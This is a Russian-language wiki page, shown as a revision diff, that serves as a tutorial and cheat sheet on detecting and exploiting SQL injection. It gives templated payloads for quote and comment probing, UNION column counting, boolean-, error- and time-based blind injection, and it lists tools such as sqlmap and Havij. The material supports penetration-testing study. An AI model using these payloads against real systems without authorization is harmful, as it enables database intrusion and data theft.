Sqlinj — различия между версиями
Drakylar (обсуждение | вклад) м (→INSERT) |
Drakylar (обсуждение | вклад) м (убрал уровни) |
||
Строка 2: | Строка 2: | ||
− | + | =Вводная= | |
Кратко: возможность запускать произвольные SQL запросы в базу данных. | Кратко: возможность запускать произвольные SQL запросы в базу данных. | ||
Статья распределена на то, как найти уязвимость и как ее проэксплуатировать. | Статья распределена на то, как найти уязвимость и как ее проэксплуатировать. | ||
− | + | =Как задетектить= | |
− | + | ==SELECT== | |
− | + | ===UNION-Based=== | |
− | + | ====Определение типа кавычки==== | |
1. Найти точку ввода данных | 1. Найти точку ввода данных | ||
Строка 40: | Строка 40: | ||
− | + | ====Знак комментария и количество скобок==== | |
После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3): | После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3): | ||
Строка 55: | Строка 55: | ||
</syntaxhighlight> | </syntaxhighlight> | ||
− | + | ====Подбор количества колонок==== | |
− | + | =====GROUP BY===== | |
Есть у MySQL,(добавить). | Есть у MySQL,(добавить). | ||
Строка 67: | Строка 67: | ||
− | + | =====ORDER BY===== | |
Есть у MySQL,(добавить). | Есть у MySQL,(добавить). | ||
Аналогично GROUP BY. | Аналогично GROUP BY. | ||
− | + | =====Bruteforce===== | |
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | <syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" > | ||
Строка 86: | Строка 86: | ||
</syntaxhighlight> | </syntaxhighlight> | ||
− | + | ====Итоговый запрос==== | |
Суть заключается в том, что вы можете сделать select запрос в произвольную доступную таблицу и получить результат, но уже в другом поле. | Суть заключается в том, что вы можете сделать select запрос в произвольную доступную таблицу и получить результат, но уже в другом поле. | ||
Строка 96: | Строка 96: | ||
</syntaxhighlight> | </syntaxhighlight> | ||
− | + | ====Обратить внимание==== | |
В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД). | В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД). | ||
Строка 109: | Строка 109: | ||
Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать. | Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать. | ||
− | + | ===Boolean-Based=== | |
Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос. | Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос. | ||
− | + | ====Определение типа кавычки==== | |
Смотри соответствующую графу в UNION-Based. | Смотри соответствующую графу в UNION-Based. | ||
− | + | ====Итог==== | |
На всякий случай подтвердим, как будет выглядеть итоговый запрос | На всякий случай подтвердим, как будет выглядеть итоговый запрос | ||
Строка 135: | Строка 135: | ||
Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице). | Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице). | ||
− | + | ====Особенности==== | |
Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд. | Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд. | ||
Строка 141: | Строка 141: | ||
Если целое число, то то же самое, но без функций. | Если целое число, то то же самое, но без функций. | ||
− | + | ===Error-Based=== | |
Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. | Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. | ||
Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION). | Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION). | ||
− | + | ====В случае с Blind-UNION==== | |
Это когда смог подобрать количество колонок, но не видишь свои поля на экране. | Это когда смог подобрать количество колонок, но не видишь свои поля на экране. | ||
Строка 160: | Строка 160: | ||
− | + | ====В случае с Boolean-Based==== | |
Общий запрос Boolean-Based выглядит, как: | Общий запрос Boolean-Based выглядит, как: | ||
Строка 170: | Строка 170: | ||
Так вот вместо условия аналогично предыдущему пункту требуется подставить функцию, вызывающую ошибку обработки аргумента-запроса. | Так вот вместо условия аналогично предыдущему пункту требуется подставить функцию, вызывающую ошибку обработки аргумента-запроса. | ||
− | + | ===Time-Based=== | |
− | + | ====Поиск параметров==== | |
В случае с Time-Based требуется угадывать два параметра за раз: | В случае с Time-Based требуется угадывать два параметра за раз: | ||
Строка 197: | Строка 197: | ||
Подробнее на определенных страницах СУБД (ниже ссылки). | Подробнее на определенных страницах СУБД (ниже ссылки). | ||
− | + | ====Особенности эксплуатации==== | |
В некоторых случаях типа OracleDB и IBM DB2 требуется делать сложный запрос в качестве задержки времени, так что если не сработало, то проверьте ссылки эксплуатаций в отдельных СУБД (внизу страницы). | В некоторых случаях типа OracleDB и IBM DB2 требуется делать сложный запрос в качестве задержки времени, так что если не сработало, то проверьте ссылки эксплуатаций в отдельных СУБД (внизу страницы). | ||
− | + | ===Auth=== | |
− | + | ==INSERT== | |
Задача Insert SQL Injection сводится к записи в таблицу базы данных результат произвольного запроса. | Задача Insert SQL Injection сводится к записи в таблицу базы данных результат произвольного запроса. | ||
− | + | ==DELETE== | |
− | + | ==UPDATE== | |
− | + | ==EXEC== | |
− | + | =Как проэксплуатировать= | |
− | + | ==Общее== | |
− | + | ==MySQL== | |
[[:mysql|MySQL СУБД]] | [[:mysql|MySQL СУБД]] | ||
− | + | ==OracleDB== | |
[[:OracleDB|Oracle СУБД]] | [[:OracleDB|Oracle СУБД]] | ||
− | + | ==PostgreSQL== | |
[[:postgresql|PostgreSQL СУБД]] | [[:postgresql|PostgreSQL СУБД]] | ||
− | + | ==SQLite== | |
[[:sqlite|SQLite СУБД]] | [[:sqlite|SQLite СУБД]] | ||
− | + | ==IBM DB2== | |
[[:ibm_db2|IBM DB2 СУБД]] | [[:ibm_db2|IBM DB2 СУБД]] | ||
− | + | =Ссылки= | |
Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt | Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt | ||
Версия 11:36, 31 декабря 2018
Содержание
Вводная
Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.
Как задетектить
SELECT
UNION-Based
Определение типа кавычки
1. Найти точку ввода данных
2. Найти параметр, который возвращает какое-либо из значений.
3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)
{параметр} aNd 1=1
{параметр} aNd 1=1
{параметр}/**/aNd/**/1=1
{параметр} -- {\n} aNd 1=1
{параметр}' aNd '1'='1
{параметр}' aNd '1'='1
{параметр}'/**/aNd/**/'1'='1
{параметр}' -- {\n} aNd '1'='1
{параметр}" aNd "1"="1
{параметр}" aNd "1"="1
{параметр}"/**/aNd/**/"1"="1
{параметр}" -- {\n} aNd "1"="1
(Если сработал первый пример, то {кавычка}==={пустое место} :)
Знак комментария и количество скобок
После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):
{параметр}{кавычка} -- 1
{параметр}{кавычка}) -- 1
{параметр}{кавычка})) -- 1
{параметр}{кавычка})...) -- 1
{параметр}{кавычка} # 1
{параметр}{кавычка}) # 1
{параметр}{кавычка})) # 1
{параметр}{кавычка})...) # 1
Подбор количества колонок
GROUP BY
Есть у MySQL,(добавить).
Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).
{параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}
ORDER BY
Есть у MySQL,(добавить).
Аналогично GROUP BY.
Bruteforce
{параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
Также в некоторых случаях перед комментарием надо будет добавить имя существующей таблицы:
FROM dual
Итоговый запрос
Суть заключается в том, что вы можете сделать select запрос в произвольную доступную таблицу и получить результат, но уже в другом поле.
Стоит упомянуть, что тут ужлучше всего использовать такой параметр, который будет заведомо ложным и ничего не вернет.
{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Обратить внимание
В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).
LIMIT 1
LIMIT 0,1
WHERE ROWNUM=1
Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать.
Boolean-Based
Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос.
Определение типа кавычки
Смотри соответствующую графу в UNION-Based.
Итог
На всякий случай подтвердим, как будет выглядеть итоговый запрос
{параметр}{кавычка} AND {кавычка}1{кавычка}={кавычка}1
А далее остается добавить ваше условие:
{параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1
Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса.
Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице).
Особенности
Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд.
Если целое число, то то же самое, но без функций.
Error-Based
Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION).
В случае с Blind-UNION
Это когда смог подобрать количество колонок, но не видишь свои поля на экране.
Но! Cтоит заметить, что чаще всего такое происходит из-за того, что введенное значение до первой кавычки нашлось в базе данных, поэтому надо экспериментировать с добавлением AND 1=0 перед словом UNION.
Запрос с UNION выглядит следующим образом:
{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Остается в одну из колонок {колонки_через_запятую} подставить функцию, вызывающую ошибку обработки аргумента (то есть нашего запроса).
В случае с Boolean-Based
Общий запрос Boolean-Based выглядит, как:
{параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1
Так вот вместо условия аналогично предыдущему пункту требуется подставить функцию, вызывающую ошибку обработки аргумента-запроса.
Time-Based
Поиск параметров
В случае с Time-Based требуется угадывать два параметра за раз:
1. Подбор типа кавычки (см. Union-Based) 2. Подбор функции задержки времени
Если первый пункт вы можете посмотреть на Union-Based, то со вторым уже требуется составить новый список:
SLEEP(time)
BENCHMARK(количество_повторений_запроса, запрос) //надо ставить большое количество повторений
waitfor delay '00:00:10'
dbms_lock.sleep(5)
Запрос во время подбора будет выглядеть как:
{параметр}{кавычка} AND {задержка_времени} AND {кавычка}1{кавычка}={кавычка}1
После чего на место {задержка_времени} будет подставлен сложный запрос, где в зависимости от результата будет запускаться функция задержки времени.
Подробнее на определенных страницах СУБД (ниже ссылки).
Особенности эксплуатации
В некоторых случаях типа OracleDB и IBM DB2 требуется делать сложный запрос в качестве задержки времени, так что если не сработало, то проверьте ссылки эксплуатаций в отдельных СУБД (внизу страницы).
Auth
INSERT
Задача Insert SQL Injection сводится к записи в таблицу базы данных результат произвольного запроса.
DELETE
UPDATE
EXEC
Как проэксплуатировать
Общее
MySQL
OracleDB
PostgreSQL
SQLite
IBM DB2
Ссылки
Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt
Мануал на Рдот - один из лучших.
https://rdot.org/forum/showthread.php?t=124
TOOLS
SQLMap (crossplatform)
Havij (win)
http://sqlninja.sourceforge.net/sqlninja-howto.html